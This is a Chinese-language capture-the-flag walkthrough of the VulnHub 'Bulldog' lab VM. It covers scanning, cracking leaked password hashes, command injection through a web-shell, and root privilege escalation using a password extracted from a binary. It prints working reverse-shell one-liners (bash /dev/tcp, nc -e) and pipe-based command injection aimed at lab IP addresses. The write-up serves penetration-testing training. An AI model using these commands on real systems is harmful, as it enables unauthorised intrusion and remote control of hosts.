vulnhub->靶机实战渗透测试---bulldog.V1
信息收集
通过arp-scan命令发现主机的IP地址为172.16.10.165
,然后使用nmap对其进行基本的服务扫描
可以看到这台靶机开了三个端口,分别是23
,80
,8080
其中两个都是http服务
访问其80端口,页面回显两个链接和一大串字符串,字符串进行翻译,大致意思就是这个公司遭受到了hacker的攻击
*那么点击*Public Notice
链接,页面跳转到notice
目录下,页面回显*
*
字符串翻译,一段公司CEO给客服的留言吧?
页面没有其他有用的信息,我们直接掏出dirb
今天目录探测,同时我们去访问靶机的8080
端口
发现8080
端口和80
两个并没有什么区别
此时查看dirb
目录探测的结果:
*发现存在两个目录,一个是*admin
而另一个则是dev
目录,但是我们先访问robots.txt
文件*
*
*没有太理解这个页面的具体含义,然后访问*dev
和admin
两个目录*
访问dev
目录:***
发现有一个链接,和一大堆邮箱,先点击Web-Shell
进行访问
*发现页面叫我们先验证身份才可以使用服务器的web-shell,那么我们从哪里认证身份,显然是*admin
目录,访问admin
目录,然后先尝试一波最简单的弱口令****
Web-Shell认证的用户密码收集
发现弱口令并不正确,然后我们重新回到其他页面进行查找,首先第一个可以的点就是dev
目录的页面下,一大串邮箱那一块
定位到邮箱,然后查看源代码
果然藏着东西,后面注释掉的内容应该是通过了什么加密,此时我们拖到线上工具进行解密
发现只有两个字符串解密成功,一个是通过了MD5
进行加密,而另一个则是SHA-1
进行了加密,此时我们得到了两组用户名和密码*
*nick:bulldog
和sarah:bulldoglover
*然后我们回到*admin
处进行登陆*
*
发现使用search:bulldoglover
组合登陆页面成功,那么另一串组合没有用吗?但是我们访问**Web-shell
发现因为admin
登陆成功,Web-Shell
开启功能,是一个系统命令执行的功能.
*我们尝试使用一些命令,并且反弹shell*
我们使用页面给出的ls
命令,并用管道符|
进行连接,发现没有执行ls的命令,但是执行了后面id
的命令.然后尝试反弹shell出来
*攻击机先开启监听本地的*8888
端口,待会会将shell反弹到这个端口上****
然后Web-Shell页面执行ls | /bin/bash -i >& /dev/tcp/172.16.10.152/8888 0>&1
*执行之后...服务器就未响应了
*那咋办嘛,尝试其他姿势咯,我们尝试从靶机中开放一个后门端口*8888
*执行命令*nc -lvp 8888 -e /bin/bash
*好家伙,服务器还是未响应
尝试另一种姿势反弹shell,echo "bash -i >&/dev/tcp/172.16.10.165/8888 0>&1" | bash
*妙蛙妙蛙,服务器还是未响应,我淦,仔细一看,原来是我IP打错了,那没事了*
将IP修改过来,再次执行命令成功的拿到了靶机的Shell
提权
成功拿到了一个普通权限的shell,那么下一步就是提权了
*我们现在的用户是*django
,而系统还有一个用户bulldogadmin
首先靶机中式有sudo
命令的,然后反弹的shell上面是不允许执行sudo等命令的,此时应该利用Python
,重新调用一个shell
,执行命令python -c "import pty;pty.spawn('/bin.bash')"
,可是没有权限....靶机又开启了ssh服务,我们尝试使用我们得到了两个密码进行登陆,可惜都是失败的.那
首先先查看哪些命令有sudo
的权限,find / -user root -perm -4000 -print 2>/dev/null
发现没有可以利用的命令(可能是自己技术比较拉跨不会用-_-)
*访问一波*bulldogadmin
用户的目录*
*
*发现一个*.sudo_as_admin_successful
的文件,还有一个比较可疑的隐藏目录.hiddenadmindirectory
*发现目录和文件我们都有一定的权限,首先*cat .sudo_as_admin_successful
文件,发现没有什么东西,好像是一个提示....*
然后进入.hiddenadmindirectory
目录进行查看***
发现目录下有两个文件,都有权限,逐一进行访问
cat note
*看样子是一段留言,复制丢到翻译网页上翻译一下
*访问另一个文件的时候全都是乱码,此时我们不应该使用*cat
命令进行查看*
*
strings customPermissionApp
读取出来是一大串字符串,其中发现了一个可疑的点*
*
*难道这个就是密码?但是他是*sudo
命令,显然不是root的密码,那会是django的密码嘛?*
继续查看字符串*
*
*发现一块字符串有点小意思,这么看是不是不觉得,但是如果拼接起来呢
SUPERultHimatePASHSWORDyouHCANTget
是不是好像多了什么,我们将每行末尾的H
去掉得到*
*SUPERultimatePASSWORDyouCANTget
此时我们再次尝试一次sudo
切换用户,虽然前面没有成功,但是利用了Python
进行重新调用shell,将上面得到的字符串作为密码进行sudo
,发现切换成功
*好家伙,真是好家伙嗷
*拿到*root
权限,进入root目录.查看到一个文件,我觉得哪个就是flag****
End
这就是这台靶机的全部内容,整体来说不算太难,适合新手入门的,当然欢迎关注我们神织安全团队
的公众号来交流渗透测试
或者是SRC漏洞挖掘
,欢迎进群骚扰我们!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论